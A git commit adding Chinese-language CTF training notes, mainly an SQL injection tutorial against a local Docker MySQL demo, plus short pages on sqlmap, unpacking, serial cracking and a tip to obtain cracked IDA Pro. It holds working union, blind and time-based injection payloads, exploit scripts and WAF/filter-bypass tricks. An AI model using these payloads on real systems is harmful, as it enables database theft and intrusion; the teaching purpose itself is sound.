feat: 4678章

This commit is contained in:
camera-2018
2023-04-16 03:04:12 +08:00
parent a1991397a3
commit 2a114017af
350 changed files with 9037 additions and 0 deletions

View File

@@ -0,0 +1,942 @@
# SQL 注入
Author: `Liki4` from Vidar-Team
Vidar-Team 2022 招新 QQ 群: 865294458仅向校内开放
Vidar-Team 官网: [https://vidar.club/](https://vidar.club/)
Vidar-Team 招新报名表: [https://reg.vidar.club/](https://reg.vidar.club/)
本文中所有涉及的代码全部都托管在 [https://github.com/Liki4/SQLi](https://github.com/Liki4/SQLi)
## 前言
在当代优秀年轻程序员设计与编写 Web 应用的时候,或多或少会使用到一种叫数据库的东西,如字面意义,这种东西通常用来储存数据,例如用户的个人信息,账户名称和密码等。
当然这些东西即便用记事本也可以储存,只需要将数据输出到一个文本文件里,事后需要使用的时候再搜索即可。但当数据量逐渐庞大,又对数据的增删改查有所需求的时候,记事本就显得有些心有余而力不足了。
于是数据库诞生了,随之诞生了一种名为 SQL 的语言,用以对数据库进行增删改查和更多其他的操作。使用 SQL 语句,可以方便地从数据库中查询出想要的数据,可以方便地找出不同类型数据之间的联系并对他们进行一定的操作。例如当今天你没有做核酸的时候,某些系统就会找出你的个人信息,并对你的健康码进行一个改天换色,同时也将对你的出行码等信息造成影响,这其中所有的过程都离不开 SQL 语句的辛勤付出,因此对其进行研究是非常必要的 :-p
有关 SQL 语句的基本知识,可以参考 [SQL Tutorial](https://www.w3schools.com/sql/)
## 简介
在旧时代诞生的 Web 应用,不少都直接使用了原始 SQL 语句拼接的方式来完成查询,举个例子
```python
def check_pass(username, password):
hash = conn.exec(f"SELECT password FROM users WHERE username = '{username}'")
return (sha256(password) == hash)
```
这是一个普通 Web 应用里常见的密码校验函数,的伪代码
`users` 表中查出 `username` 对应的 `password` 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录
![](static/boxcnHiNBWN86AR4AvSSsUVwSWb.png)
那么问题来了,在语句
```sql
SELECT password FROM users WHERE username = '{username}'
```
之中,如果参数 `username` 未经过校验,直接使用用户传入的原生字符串,会不会出现什么问题呢?
这就是本篇 SQL 注入要讨论的问题
## SQL 注入中的信息搜集
### 信息的获取
```python
1. version() 数据库版本
2. user() 数据库用户名
3. database() 数据库名
4. @@datadir 数据库路径
5. @@version_compile_os 操作系统版本
```
### 字符串拼接
1. `concat(str1,str2,…)` 能够将你查询的字段连接在一起
2. `concat_ws(separator,str1,str2,)` 能够自定义分隔符来将你查询的字段链接在一起
3. `group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])`
一般来说这个函数是配合 `group by` 子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据
```python
mysql> select id, username, password from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)
mysql> select concat(id,username,password) from users;
+------------------------------+
| concat(id,username,password) |
+------------------------------+
| 1DumbDumb |
| 2AngelinaI-kill-you |
| 3Dummyp@ssword |
| 4securecrappy |
| 5stupidstupidity |
| 6supermangenious |
| 7batmanmob!le |
| 8adminadmin |
| 9admin1admin1 |
| 10admin2admin2 |
| 11admin3admin3 |
| 12dhakkandumbo |
| 14admin4admin4 |
+------------------------------+
13 rows in set (0.01 sec)
mysql> select concat(id,username,password) from users;
+------------------------------+
| concat(id,username,password) |
+------------------------------+
| 1DumbDumb |
| 2AngelinaI-kill-you |
| 3Dummyp@ssword |
| 4securecrappy |
| 5stupidstupidity |
| 6supermangenious |
| 7batmanmob!le |
| 8adminadmin |
| 9admin1admin1 |
| 10admin2admin2 |
| 11admin3admin3 |
| 12dhakkandumbo |
| 14admin4admin4 |
+------------------------------+
13 rows in set (0.01 sec)
mysql> select group_concat(id,username separator '_') from users;
+--------------------------------------------------------------------------------------------------------------+
| group_concat(id,username separator '_') |
+--------------------------------------------------------------------------------------------------------------+
| 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
```
## 前置知识
接着上一节的节奏走,如果我们传入的 `username` 参数中有单引号会发生什么呢
> 以下所举的例子都在 MySQL 5.x 版本完成
现在我们传入 `Liki4'` 这个字符串
![](static/boxcn8TrpE02fnPV7dFzkmnHiAe.png)
很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。
那么问题来了,怎么让他不报错的情况下完成查询呢?
在 MySQL 语句中,`#``--` 代表行间注释,与 C 语言的 `//` 和 Python 中的 `#` 是同样的意思。也就是说,一个 MySQL 语句中如果存在 `#``--`,那么这一行其后的所有字符都将视为注释,不予执行。
那如果我们传入 `Liki4';#` 这个字符串,那么在拼接后的查询又是什么结果呢
![](static/boxcnbAKreqEeZxOYQuQMtZbd9d.png)
很显然,`#` 号将原本语句的 `';` 注释掉了
而我们传入的字符串构成了全新的语法正确的语句,并完成了一次查询!
那我们是否可以查询一些...不属于我们自己的信息呢?答案是可以的。
例如我们传入一个精心构造的字符串
`raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#`
![](static/boxcniDohuM3F8FbMqz7YSC0Y5g.png)
<strong>真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值!</strong>
<del>那么到这里 SQL 注入你就已经完全学会了,接下来做一些小练习吧。</del>
<del>请挖掘 Django ORM 最新版本的注入漏洞并与我分享,我会请你喝一杯奶茶作为谢礼。</del>
## SQL 注入入门
接下来的举例几乎都不会以 Web 的形式出现,虽然你去看别的文档都是起个 Web 应用,但我懒
反正都是一样的东西,是否以 Web 应用的形式没差,请不要来杠
### SQL 注入的常见类型
SQL 注入的常见类型分为以下几种,在后面的章节里会慢慢地讲述不同类型的区别和攻击手法
按照攻击手法来分类可以分为以下几种
1. 有回显的 SQL 注入
2. 无回显的 SQL 盲注
3. 布尔盲注
4. 时间盲注
5. 基于报错的 SQL 注入
6. 堆叠注入
7. 二次注入
按照注入点来分类可以分为以下几种
1. 字符型注入
2. 数字型注入
注入点的分类只在于语句构造时微小的区别,因此不作详细的说明
当然,不同的数据库后端因为其不同的内置函数等差异,有着不同的攻击手法,但都大同小异。
常见的数据库有下列几个
1. MySQL
2. MSSQL
3. OracleDB
4. SQLite
当然还有一些新兴的<del>前沿科技</del>数据库
1. ClickHouse
2. PostgreSQL
还有一些和传统数据库设计理念不一样的 noSQL 数据库
1. MongoDB
2. AmazonRD
3. ...
后续的章节里,会采用入门时最常见的 MySQL 数据库来举例,环境可以用 Docker 简单地创建一个
```yaml
# docker-compose.yml
# docker-compose up -d --build
version: "3.8"
services:
db:
image: mysql:5.7
container_name: "mysql5-docker"
command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --sql-mode=''
ports:
- "3305:3306"
environment:
- MYSQL_ROOT_PASSWORD=TjsDgwGPz5ANbJUU
healthcheck:
test: ["CMD", "mysqladmin" ,"ping", "-h", "localhost"]
interval: 2s
timeout: 5s
retries: 30
```
### 有回显的 SQL 注入
我这里写了一个小 demo 来进行展示demo 代码如下,为了好看我用 prettytable 格式化了输出
```python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from sqlalchemy import create_engine
from prettytable import from_db_cursor
engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
def query(username):
with engine.connect() as con:
cur = con.execute(f"SELECT * FROM users WHERE username = '{username}'").cursor
x = from_db_cursor(cur)
return(x) # 返回查询的结果
def main():
username = input("Give me your username: ")
print(query(username))
if __name__ == "__main__":
main()
```
接下来我们进行一次常规查询
![](static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png)
可以看到我们成功从数据库中查出了 `username``password`,并显示在返回中
现在我们构造一些恶意语句,比如 `123' UNION SELECT 1, 2;#`
现在我们将执行的语句打印出来看看,对代码进行一些小改动
```bash
...
def query(username):
with engine.connect() as con:
query_exec = f"SELECT * FROM users WHERE username = '{username}'"
print(query_exec)
cur = con.execute(query_exec).cursor
x = from_db_cursor(cur)
return(x)
...
```
![](static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png)
可以看到,实际执行的语句为
```sql
SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#'
```
也就是说,在这个 demo 中,从数据库查询的内容会直接返回给用户,用户可以直接看到查询的内容
那我们是否可以进行一些其他的查询呢
构造语句 `123' UNION SELECT DATABASE(), @@version;#`
![](static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png)
我们就能看到返回中包含了当前数据库名与当前数据库版本
如果数据库中除了 `users` 表还有其他的东西,我们是否能通过这个注入来获取呢...
构造语句 `123' UNION SELECT table_name, column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE();#`
> `information_schema` 库是一个 MySQL 内置数据库储存了数据库中的一些基本信息比如数据库名表名列名等一系列关键数据SQL 注入中可以查询该库来获取数据库中的敏感信息。
![](static/boxcnkwvSnhKBhlHNLOSthgul9d.png)
我们可以发现,当前数据库中还存在一张叫 `secret` 的表,让我们偷看一下里面存的是什么
构造语句 `123' UNION SELECT 1, secret_string FROM secret;#`
![](static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png)
好像得到了什么不得了的秘密 :-)
### 无回显的 SQL 盲注
#### 布尔盲注
我们对有回显的 SQL 注入的 demo 进行一点修改,代码如下
```python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from sqlalchemy import create_engine
from hashlib import sha256
engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
def query(username, password):
with engine.connect() as con:
query_exec = f"SELECT password FROM users WHERE username = '{username}'"
print(query_exec)
if con.execute(query_exec).scalar():
passhash = con.execute(query_exec).fetchone()[0]
return passhash == sha256(password.encode()).hexdigest()
return False
def main():
username = input("Give me your username: ")
password = input("Give me your password: ")
print("Login success" if query(username, password) else "Login failed")
# 不再显示查询结果,而返回 success 或 failed
if __name__ == "__main__":
main()
```
这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了
![](static/boxcn2seUNESHkLC9PYvDp0vFbe.png)
那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 :-(
那有没有什么办法击破这个限制呢?是时候该本章的主角,布尔盲注出场了
观察程序的逻辑,如果查询特定用户的密码与用户的输入匹配,则登陆成功,否则登陆失败
我们是否能控制语句是否将对应用户的密码查询出来呢?
在 MySQL 中有一种格式为 `if(expression, if_true, if_false)` 的分支语句
类比 Python 则可以写成
```python
if (expression):
if_true
else:
if_false
```
如果我们可以通过 `if` 语句来控制整个 SQL 语句是否查询成功,不就可以获取一些信息了吗?
当 if 语句为真时才将对应用户的密码查询出来,这样一来就能够通过用户验证,结果即为登陆成功
当 if 语句为假时则不将对应用户的密码查询出来,程序无从比对,也就无法通过用户验证了
有点抽象?没关系继续往下看。
构造语句 `Liki4' and if(@@version rlike '^5',1,0);#`
> rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体
![](static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png)
这里实际执行的语句就变成了
```sql
SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0);
```
![](static/boxcnJ3jImTQcMUOWJclTACj74e.png)
```sql
SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0);
```
![](static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png)
也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来
如果 if 语句为假,这个条件为假的查询就不成立,查询的结果也为空了
从上面这个例子里我们就可以得出当前 MySQL 为 MySQL 5
如此一来我们就可以通过枚举爆破得到数据库名,表名,列名,进而得到数据库中存储的数据了
其中关键的语句如下
```sql
if(DATABASE() rlike '^{exp}',1,0) #
if((SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) rlike '^{exp}',1,0) #
if((SELECT binary GROUP_CONCAT(secret_string) FROM secret) rlike '^{exp}',1,0) #
```
完整 exp 如下
```python
from mysqli_invisible_bool import *
import string
import io
import sys
def escape_string(c):
return "\\" + c if c in ".+*" else c
def exp():
payload_template = "Liki4' AND if({exp},1,0);#"
space = string.ascii_letters + string.digits + ' _:,$.'
exp_template = "@@version RLIKE '^{c}'"
exp_template = "DATABASE() RLIKE '^{c}'"
exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"
print(exp_template)
Flag = True
data = ""
while Flag:
ori_stdout = sys.stdout
for c in space:
payload = payload_template.format(exp=exp_template.format(c=data+c))
sys.stdin = io.StringIO(payload + '\n123\n')
res = sys.stdout = io.StringIO()
main()
output = str(res.getvalue())
if "failed" in output:
continue
if c == "$":
Flag = False
break
if "success" in output:
data += c
break
sys.stdout = ori_stdout
if Flag:
print(data, end="\r")
else:
print(data)
if __name__ == "__main__":
exp()
```
![](static/boxcnXyMaLh26lkNuAPiQVHuaNg.png)
####
#### 时间盲注
时间盲注的场景和原理与布尔盲注类似,都是在没有回显查询结果的时候使用的
能用布尔盲注的地方一般都能用时间盲注,但能用时间盲注的地方不一定能用布尔盲注
有的场景在完全没有回显,甚至没有能表示语句是否查询完成的东西存在时,时间盲注就派上用场了
这里可以直接沿用布尔盲注的场景
```python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from sqlalchemy import create_engine
from hashlib import sha256
engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
def query(username, password):
with engine.connect() as con:
query_exec = f"SELECT password FROM users WHERE username = '{username}'"
print(query_exec)
if con.execute(query_exec).scalar():
passhash = con.execute(query_exec).fetchone()[0]
return passhash == sha256(password.encode()).hexdigest()
return False
def main():
username = input("Give me your username: ")
password = input("Give me your password: ")
print("Login success" if query(username, password) else "Login failed")
if __name__ == "__main__":
main()
```
如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。
![](static/boxcndxf4WEQQQEXspS7GwNKI6J.png)
但,真的没办法了吗?
在 MySQL 中存在一个延时函数 sleep(),可以延时特定的秒数
如果我们将 if 语句中的返回值改成延时函数会如何呢?
当 if 语句为真时进行一个延时,当 if 语句为假时即刻返回
于是我们就可以通过查询进行的时间长短来判断语句是否为真了!
完整的 exp 如下
```python
from mysqli_invisible_time import *
import string
import io
import sys
import signal
def handler(signum, frame):
raise Exception("timeout")
signal.signal(signal.SIGALRM, handler)
def escape_string(c):
return "\\" + c if c in ".+*" else c
def exp():
payload_template = "Liki4' AND if({exp},SLEEP(1),0);#"
space = string.ascii_letters + string.digits + ' _:,$.'
exp_template = "@@version RLIKE '^{c}'"
exp_template = "DATABASE() RLIKE '^{c}'"
exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"
print(exp_template)
Flag = True
data = ""
while Flag:
ori_stdout = sys.stdout
for c in space:
payload = payload_template.format(exp=exp_template.format(c=data+c))
sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password')
res = sys.stdout = io.StringIO()
signal.alarm(1)
try:
main()
print("timeout")
except:
print("bingooo")
output = str(res.getvalue())
if "timeout" in output:
continue
if c == "$":
Flag = False
break
if "bingooo" in output:
data += c
break
sys.stdout = ori_stdout
if Flag:
print(data, end="\r")
else:
print(data)
if __name__ == "__main__":
exp()
```
![](static/boxcnsStdHC5VmBylyx6S7hakEb.png)
### 基于报错的 SQL 注入 (TODO)
有的时候当 Web 应用虽然没有回显,但开启了 Debug 模式或者开启了显示报错的话,一旦 SQL 语句执行报错了,那么就会将错误信息显示出来,那报错的信息能否成为一种带出关键信息的回显呢?
可以!
让我们再对 demo 的代码做一些修改,用来探究以下如何利用报错来外带信息。
```python
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from sqlalchemy import create_engine, exc
from hashlib import sha256
engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5)
def query(username, password):
with engine.connect() as con:
query_exec = f"SELECT password FROM users WHERE username = '{username}'"
print(query_exec)
try:
if con.execute(query_exec).scalar():
passhash = con.execute(query_exec).fetchone()[0]
return passhash == sha256(password.encode()).hexdigest()
except exc.SQLAlchemyError as e:
print(str(e.__dict__['orig'])) # 输出捕获的错误信息
return False
def main():
username = input("Give me your username: ")
password = input("Give me your password: ")
print("Login success" if query(username, password) else "Login failed")
if __name__ == "__main__":
main()
```
![](static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png)
这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来
我收集了十个在 MySQL 中常见的可以用来进行报错注入的函数,我将他们常见的攻击手法都整理一下,放在底下供大家参考,原理和先前的有回显注入的方式并无区别。
关于函数的原型与定义可以翻阅 MySQL 文档
MySQL 5.7 doc: [https://dev.mysql.com/doc/refman/5.7/en/](https://dev.mysql.com/doc/refman/5.7/en/)
MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/doc/refman/8.0/en/)
需要注意的是旧版本的某些函数在新版本中可能已经失效,具体在这里不一一列举
1. `floor`
2. `extractvalue`
3. `updatexml`
4. `geometrycollection`
5. `multipoint`
6. `polygon`
7. `multipolygon`
8. `linestring`
9. `multilinestring`
10. `exp`
### 堆叠注入
当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候,例如 PHP 中的 `multi_query`,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。
`Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#`
![](static/boxcnrMIc2m6oubxC86CEtw1jMe.png)
![](static/boxcnVRdntvakiTpt7nP8JhKKfc.png)
INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据
### 二次注入
二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。
在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入
常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。
那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。
## SQL 注入常见的过滤绕过方式
### 空格被过滤
1. `/*xxx*/` MySQL 行内注释
`SELECT/*1*/username,password/*1*/FROM/*1*/users;`
1. `()`
`SELECT(username),(password)FROM(users);`
1. `%20 %09 %0a %0b %0c %0d %a0 %00` 等不可见字符
### 引号被过滤
1. 十六进制代替字符串
`SELECT username, password FROM users WHERE username=0x4c696b6934`
### 逗号被过滤
1. `from for`
`select substr(database(),1,1);`
`select substr(database() from 1 for 1);`
`select mid(database() from 1 for 1);`
1. `join`
`select 1,2`
`select * from (select 1)a join (select 2)b`
1. `like/rlike`
`select ascii(mid(user(),1,1))=80`
`select user() like 'r%'`
1. `offset`
`select * from news limit 0,1`
`select * from news limit 1 offset 0`
### 比较符号 `(<=>)` 被过滤
1. `=``like, rlike, regexp` 代替
`select * from users where name like 'Liki4'`
`select * from users where name rlike 'Liki4'`
`select * from users where name regexp 'Liki4'`
1. `<>``greatest()、least()`
`select * from users where id=1 and ascii(substr(database(),0,1))>64`
`select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64`
1. `between`
`select * from users where id between 1 and 1;`
### `or and xor not` 被过滤
1. `and = &&`
2. `or = ||`
3. `xor = |`
4. `not = !`
### 常用函数被过滤
1. `hex()、bin() = ascii()`
2. `sleep() = benchmark()`
3. `concat_ws() = group_concat()`
4. `mid()、substr() = substring()`
5. `@@user = user()`
6. `@@datadir = datadir()`
### 宽字节注入
在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 `addslashes()`
`id=0%df%27%20union%20select%201,2,database();`
![](static/boxcnaRtyUGC0sX3btnFIgpDCob.png)
### information_schema 被过滤
在 SQL 注入中,`infromation_schema` 库的作用无非就是可以获取到 `table_schema, table_name, column_name` 这些数据库内的信息。
####
##### MySQL 5.6 的新特性
在 MySQL 5.5.x 之后的版本MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始MySQL 在数据库中添加了两张表,`innodb_index_stats``innodb_table_stats`,两张表都会存储数据库和对应的数据表。
因此,从 MySQL 5.6.x 开始,有了取代 `information_schema` 的表名查询方式,如下所示
```python
select table_name from mysql.innodb_index_stats where database_name=<em>database</em>();
select table_name from mysql.innodb_table_stats where database_name=<em>database</em>();
```
![](static/boxcnbMtjAq8osStjcSbFuIdDSc.png)
##### MySQL 5.7 的新特性
由于 `performance_schema` 过于发杂,所以 MySQL 在 5.7 版本中新增了 `Sys schema` 视图,基础数据来自于 `performance_chema``information_schema` 两个库。
而其中有这样一个视图,`schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer`,我们可以翻阅官方文档对其的解释
> 查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表降序排序数据来源performance_schema.table_io_waits_summary_by_table、sys.x$ps_schema_table_statistics_io、sys.x$innodb_buffer_stats_by_table
其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式
```sql
select table_name from sys.schema_table_statistics_with_buffer where table_schema=<em>database</em>();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=<em>database</em>();
```
![](static/boxcnV68mdIQmovJwczDsOc53gc.png)
### 无列名注入
在因为 `information_schema` 被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤
`select a,b from (select 1 as a, 2 as b union select * from users)x;`
![](static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png)
## 超脱 MySQL 之外 (TODO)
### 不同数据库后端的判别
虽然在以往的 CTF 比赛中MySQL 的出镜率非常高但在绝大多数的生产环境中起码在国内OracleDB、MSSQL 等数据库是绝对的占有率霸主。而一些大型互联网企业则可能使用的是更新的“高新技术”,例如 ClickHouse、PostgreSQL、MongoDB 等。
那么如何去判别一个 Web 应用的数据库后端用的是什么呢?
这一小节就来简单地讲一讲一些针对这种情况的常见方法。
### 各数据库的攻击面拓展
### noSQL 注入
工具 nosqlmap
## SQL 注入防范手段 (TODO)
## 一些 CVE 复现 (TODO)
### ThinkPHP SQL 注入
### Django SQL 注入
### Gorm SQL 注入
# 数据库注入工具 SQLMAP 及其高级使用指南
> 这里不讨论诸如 -u 这种简单参数
## 一些特殊参数
### -r [文件名]
当你从 Burp 之类的工具中发现了 数据库注入的痕迹
可以全选右键保存你发送有效载荷(含有 Sql 注入的语句)的明文报文
复制到文件中保存
使用 -r 后跟保存的文件 sqlmap 会自动获得发送恶意报文的神奇能力x 其实是自动解析了)
对你传入的报文的目标进行自动化的 sql 注入
### --sql-shell
在摸索到 数据库注入的时候 生成一个交互式的数据库注入
可以直接编写可执行的 sql 语句
例如 select "123"
Sqlmap 会自动探寻目标的注入返回结果 减少手动编写 payload 的辛劳
> 尤其是写了半天发现引号对不上等等
### --os-shell
一个新手以为很牛逼但是其实很鸡肋的功能 可以获取 shell 一般是通过数据库注入获取到写文件的权限,写入 webshell 文件 的原理拿到对方机器的 shell
可是这个玩意非常的鸡肋
因为 默认数据库配置不具有这种问题需要另外配置 此外环境需要支持类似动态执行的功能 例如 go 起的 web
### --random-agent
一般不用 但是 sqlmap 在进行 web 的注入时会使用 sqlmap 的 User-Agent 痕迹非常明显
可以用这个消磨一下自己的痕迹
### --second-url
对于一些非常复杂的数据库二次注入 sqlmap 其实是没有办法的 例如需要鉴权(?)
> 此处有待考证
但是对于简单的一些二次注入,可以通过这个参数获取到存在数据库注入界面的结果界面。让 sqlmap 获取到 数据库注入的结果。
### --technique
技巧 指定 sqlmap 使用的注入技术
有以下几种
- `t` 基于时间 time
- `b` 基于布尔 boolean
- `e` 基于报错 error
- `u` 联合注入 union
- `q` 内联注入 inline query
- `s` 堆叠注入 stack
通常而言 sqlmap 在进行自动化注入尝试的时候常常是会先检测到 time 这一类注入
但是对于 union 和 boolean 则是最后进行检查的
而往往当你存在 union 或者 boolean 注入的时候,其实 time 多半也会一同存在
Sqlmap 很可能在接下来的 数据库注入后利用中使用耗时更为巨大的 time 注入技巧
这对于攻击者其实是不利的
那么通过这个参数去指定对应的注入技巧 可以大大减少数据库注入获取结果的时间 优化你的进攻效率
### --dbms
指定对应的数据库类型
Mysql mssql 之类的 sqlmap 就不会去搜索爆破其他类型的数据库
### --hex
以十六进制来进行注入的技巧
在数据注入的时候使用这个可以规避掉一些 WAF
## WAF 绕过 - 将特殊的 payload 编码的脚本
## 自定义 Payload - 自定义你的核心攻击语句

View File

@@ -0,0 +1,3 @@
# 网络安全
网络安全是一个很宽泛的话题,得益于目前网络应用越来越多,网络安全花样多,手段强,攻击性也比二进制安全要高。比如从网站的登录入口脱出整个数据库?通过奇奇怪怪的链接端了钓鱼网站的后台?通过爬虫抓取网页内容,制作各种自动化脚本(抢票、抢课、自动刷网课视频)?

View File

@@ -0,0 +1,11 @@
# 基础工具的使用
# IDA pro
IDA pro (交互式反编译器专业版)是二进制安全研究人员必备的反汇编、反编译工具,功能繁多而强大,反编译结果清晰明了。
## 安装
IDA pro 是收费软件价格极其昂贵一般人买不起因此可以到各大网站下载破解版注意到一些知名网站下载比如吾爱破解等防止下载的软件包含病毒。在编写此文时IDA pro 更新到了 8.0,网上能找到的最新的版本为 7.7。本文由于版权原因,不提供下载链接。
## 简易使用方法

View File

@@ -0,0 +1,60 @@
# 软件破解、软件加固
## 软件加壳、脱壳技术
壳是一种常见的软件保护技术,通过对前面基础工具的使用,我们很容易发现正常编译出来的程序逆向的难度并不高,只需按 IDA 的 F5 即可浏览程序的大部分逻辑。但加壳后的软件,会将主要逻辑 以一定的规律加密/压缩等,使其不可直接 F5 查看逻辑。
按壳的效果来分,主要分压缩壳和加密壳两种。压缩壳如 UPX可以将程序体积较大的缩小。加密壳如 VMP可以对程序起到非常大的防逆向作用以目前的技术对 VMP 加壳的程序几乎没有逆向的可能。
### 简单的 UPX 壳
UPX 是一个常见的压缩壳,通过该工具可以比较大的缩小二进制程序的体积,而不影响正常功能
UPX 壳的官网:[https://upx.github.io](https://upx.github.io)
加壳命令(示例):
```c
upx -1
```
脱壳命令:
```c
upx -d
```
### ESP 定律脱壳法(本节来源于 ctf-wiki[https://ctf-wiki.org/reverse/windows/unpack/esp/](https://ctf-wiki.org/reverse/windows/unpack/esp/)
ESP 定律法是脱壳的利器, 是应用频率最高的脱壳方法之一.
#### 要点
ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP.
由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用 `pushad`, 在解压结束后, 会将之前的寄存器值出栈, 如使用 `popad`. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的 OEP 位置.
1. 程序刚载入开始 pushad/pushfd
2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点
3. 运行程序, 触发断点
4. 删除硬件断点开始分析
#### 示例
示例程序可以点击此处下载: [2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/2_esp.zip)
还是上一篇的示例, 入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态, 我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色, 也即值发生了改变.
![](static/boxcnJdWqlHmhlvB471dIGT4GEh.png)
我们鼠标右击 `ESP` 寄存器的值, 也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后, 按下 `F9` 运行程序, 程序会在触发断点时断下. 如图来到了 `0040D3B0` 的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述.
## 软件加密常用算法
逆向中通常出现的加密算法包括 base64、TEA、AES、RC4、MD5、DES 等。
## 序列号生成与破解与反破解
早期软件序列号都是软件内部一套验证算法,本地进行验证序列号是否正确,或者本地校验格式再向服务器请求。这种软件的序列号破解只需找到内部验证算法,生成出一个合适的序列号即可,联网的软件就将联网屏蔽/做个假的服务器返回正确的信息等办法。如何找到验证算法是关键,此处就需要一定的逆向基础。现有的 CTF 逆向题基本都是从序列号破解的角度抽象出来的。
如今的很多软件都已不再采用序列号机制,比如 steam 游戏,或者序列号的生成是单向不可逆的,此时就对软件的破解造成了一定的困难

View File

@@ -0,0 +1,42 @@
# 二进制安全
## 简介
二进制安全在 CTF 中常分为 pwn 和 reverse 两大方向。
pwn 主要研究漏洞的挖掘及其利用的手段,并利用漏洞攻击目标取得目标机器的权限。
